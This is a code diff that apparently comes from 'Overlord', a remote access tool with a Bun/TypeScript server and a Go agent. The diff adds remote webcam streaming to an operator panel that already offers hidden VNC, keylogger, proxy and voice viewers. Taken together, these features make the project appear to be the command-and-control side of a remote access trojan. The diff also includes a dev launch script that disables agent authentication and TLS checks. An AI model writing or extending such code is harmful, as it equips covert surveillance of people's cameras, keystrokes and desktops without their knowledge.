const index = Number(cameraSelect.value) || 0;
selectedDeviceIndex = index;
applyFpsInputLimits();
send("webcam_select", { index });
});
fpsInput.addEventListener("input", () => {
const maxFps = selectedDeviceMaxFps();
const val = Number(fpsInput.value);
if (Number.isFinite(val) && val > maxFps) {
fpsInput.value = String(maxFps);
}
});
applyFps.addEventListener("click", () => {
applyFpsSettings();
});
connect();
})();
+105
View File
@@ -0,0 +1,105 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Overlord Webcam Viewer</title>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/console.css" />
<script src="/assets/logout.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6 flex-1 flex flex-col">
<div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
<div class="flex flex-wrap gap-3 items-center">
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
>
<label class="text-sm text-slate-300" for="cameraSelect">Camera</label>
<select
id="cameraSelect"
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 min-w-56"
></select>
<button id="refreshCameras" class="button ghost">
<i class="fa-solid fa-rotate"></i><span>Refresh</span>
</button>
</div>
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
<label class="flex items-center gap-2 text-slate-200" for="fpsInput">
<span>FPS</span>
<input id="fpsInput" type="number" min="1" max="120" value="30" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 w-20 text-slate-100" />
</label>
<button id="applyFps" class="button ghost">
<i class="fa-solid fa-sliders"></i><span>Apply</span>
</button>
</div>
<div class="flex items-center gap-2">
<button id="startBtn" class="button primary">
<i class="fa-solid fa-play"></i><span>Start</span>
</button>
<button id="stopBtn" class="button ghost">
<i class="fa-solid fa-stop"></i><span>Stop</span>
</button>
</div>
<div
id="streamStatus"
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
>
<i class="fa-solid fa-circle-notch fa-spin"></i>
<span>Connecting</span>
</div>
<div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>
<span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
</div>
</div>
<div
id="canvasContainer"
class="flex-1 rounded-xl border border-slate-800 bg-slate-900/70 shadow-lg overflow-hidden flex flex-col"
style="min-height: 500px"
>
<div class="p-3 text-sm text-slate-400 flex-shrink-0">
Client: <span id="clientLabel" class="text-slate-100">-</span>
</div>
<div
class="flex-1 flex items-center justify-center p-4"
style="min-height: 0; overflow: hidden"
>
<canvas
id="frameCanvas"
class="bg-slate-950"
width="1280"
height="720"
style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
></canvas>
</div>
</div>
</div>
</main>
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/webcam.js"></script>
</body>
</html>
+9 -1
View File
@@ -72,6 +72,9 @@ import {
handleConsoleViewerOpen,
handleHVNCViewerMessage,
handleHVNCViewerOpen,
handleWebcamViewerMessage,
handleWebcamViewerOpen,
handleWebcamDevices,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
@@ -79,6 +82,7 @@ import {
notifyRdInputLatency,
notifyRemoteDesktopStatus,
rdStreamingState,
webcamStreamingState,
sendDesktopCommand,
sendHVNCCommand,
stopConsoleOnTarget,
@@ -238,7 +242,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
savePluginState,
});
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
type PendingScript = {
resolve: (result: any) => void;
@@ -358,9 +362,11 @@ async function startServer() {
pendingCommandReplies,
rdStreamingState,
hvncStreamingState,
webcamStreamingState,
getNotificationConfig,
handleConsoleViewerOpen,
handleRemoteDesktopViewerOpen,
handleWebcamViewerOpen,
handleHVNCViewerOpen,
handleFileBrowserViewerOpen,
handleProcessViewerOpen,
@@ -370,6 +376,7 @@ async function startServer() {
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
handleWebcamViewerMessage,
handleHVNCViewerMessage,
handleFileBrowserViewerMessage,
handleProcessViewerMessage,
@@ -395,6 +402,7 @@ async function startServer() {
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
handleNotification: notificationPluginHandlers.handleNotification,
handleVoiceUplink,
handleWebcamDevices,
cleanupVoiceViewer,
stopConsoleOnTarget,
sendDesktopCommand,
+19
View File
@@ -12,6 +12,7 @@ export type MessageKind =
| "status"
| "plugin_event"
| "notification"
| "webcam_devices"
| "notification_config";
export type Hello = {
@@ -43,6 +44,11 @@ export type CommandType =
| "input"
| "remote_start"
| "remote_stop"
| "webcam_start"
| "webcam_stop"
| "webcam_list"
| "webcam_select"
| "webcam_set_fps"
| "disconnect"
| "reconnect"
| "screenshot"
@@ -108,6 +114,7 @@ export type FrameHeader = {
format: "jpeg" | "webp" | "raw" | "h264";
hash?: string;
hvnc?: boolean;
webcam?: boolean;
};
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
@@ -116,6 +123,18 @@ export type Status = {
state: "idle" | "streaming" | "error";
detail?: string;
};
export type WebcamDevice = {
index: number;
name: string;
maxFps?: number;
};
export type WebcamDevices = {
type: "webcam_devices";
devices: WebcamDevice[];
selected: number;
};
export type ConsoleOutput = {
type: "console_output";
sessionId: string;
@@ -88,6 +88,30 @@ export async function handlePageRoutes(
}
}
if (req.method === "GET" && url.pathname === "/webcam") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
}
}
if (req.method === "GET" && url.pathname === "/hvnc") {
const user = await authenticateRequest(req);
if (!user) {
@@ -29,9 +29,11 @@ type WsLifecycleDeps = {
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -41,6 +43,7 @@ type WsLifecycleDeps = {
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -67,6 +70,7 @@ type WsLifecycleDeps = {
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
const ip = ws.data.ip;
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
@@ -140,6 +145,7 @@ export function handleWebSocketMessage(
const socketRole = ws.data.role as string;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
@@ -285,6 +291,9 @@ export function handleWebSocketMessage(
case "voice_uplink":
deps.handleVoiceUplink(info.id, payload);
break;
case "webcam_devices":
deps.handleWebcamDevices(info.id, payload);
break;
default:
break;
}
@@ -332,6 +341,26 @@ export function handleWebSocketClose(
return;
}
if (role === "webcam_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllWebcamSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "webcam_stop", {});
deps.webcamStreamingState.delete(removedClientId);
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "hvnc_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
@@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
if (webcamMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = webcamMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
if (fbMatch) {
const user = await authenticateRequest(req);
@@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
safeSendViewer(ws, { type: "status", status: "online", sessionId });
}
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
@@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) {
};
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllWebcamSessions().set(sessionId, session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "online", sessionId });
sendDesktopCommand(target, "webcam_list", {});
}
export function handleWebcamDevices(clientId: string, payload: any) {
for (const session of sessionManager.getAllWebcamSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, payload);
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
switch (payload.type) {
case "webcam_list":
sendDesktopCommand(target, "webcam_list", {});
break;
case "webcam_select": {
const index = Math.max(0, Number(payload.index) || 0);
state.deviceIndex = index;
webcamStreamingState.set(clientId, state);
sendDesktopCommand(target, "webcam_select", { index });
if (state.isStreaming) {
sendDesktopCommand(target, "webcam_stop", {});
sendDesktopCommand(target, "webcam_start", {});
}
break;
}
case "webcam_set_fps": {
if (state.isStreaming) {
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
break;
}
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
const useMax = !!payload.useMax;
state.fps = fps;
state.useMax = useMax;
webcamStreamingState.set(clientId, state);
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
break;
}
case "webcam_start":
if (!state.isStreaming) {
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
sendDesktopCommand(target, "webcam_start", {});
state.isStreaming = true;
webcamStreamingState.set(clientId, state);
}
break;
case "webcam_stop":
sendDesktopCommand(target, "webcam_stop", {});
state.isStreaming = false;
webcamStreamingState.set(clientId, state);
break;
default:
break;
}
}
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
@@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
return sent;
};
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
let sent = false;
for (const session of sessionManager.getAllWebcamSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewerFrame(session.viewer, bytes, header);
sent = true;
}
return sent;
};
const textDecoder = new TextDecoder();
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
@@ -12,6 +12,7 @@ import type {
const consoleSessions = new Map<string, ConsoleSession>();
const rdSessions = new Map<string, RemoteDesktopViewer>();
const webcamSessions = new Map<string, RemoteDesktopViewer>();
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
const processSessions = new Map<string, ProcessViewer>();
@@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void {
rdSessions.set(session.id, session);
}
export function addWebcamSession(session: RemoteDesktopViewer): void {
webcamSessions.set(session.id, session);
}
export function getWebcamSession(
sessionId: string,
): RemoteDesktopViewer | undefined {
return webcamSessions.get(sessionId);
}
export function deleteWebcamSession(sessionId: string): boolean {
return webcamSessions.delete(sessionId);
}
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
}
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
return webcamSessions;
}
export function getRdSession(
sessionId: string,
): RemoteDesktopViewer | undefined {
+1
View File
@@ -5,6 +5,7 @@ export type SocketRole =
| ClientRole
| "console_viewer"
| "rd_viewer"
| "webcam_viewer"
| "file_browser_viewer"
| "process_viewer"
| "notifications_viewer"
+8 -1
View File
@@ -140,7 +140,14 @@ export function handleFrame(info: ClientInfo, payload: any) {
let sentToViewers = false;
try {
const globalAny: any = globalThis as any;
if (header?.hvnc) {
if (header?.webcam) {
if (globalAny.__webcamBroadcast) {
sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
}
if (sentToViewers) {
return;
}
} else if (header?.hvnc) {
if (globalAny.__hvncBroadcast) {
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
}
+2 -1
View File
@@ -1,4 +1,4 @@
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hello",
@@ -24,6 +24,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"keylog_clear_result",
"keylog_delete_result",
"voice_uplink",
"webcam_devices",
]);
export function isAllowedClientMessageType(type: string): boolean {
+2 -4
View File
@@ -1,6 +1,4 @@
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+1 -1
View File
@@ -28,7 +28,7 @@ set OVERLORD_DISABLE_AGENT_AUTH=true
set LOG_LEVEL=debug
start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start"
timeout /t 1 /nobreak >nul
timeout /t 2 /nobreak >nul
start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
echo Done. Terminals stay open (/k) for logs.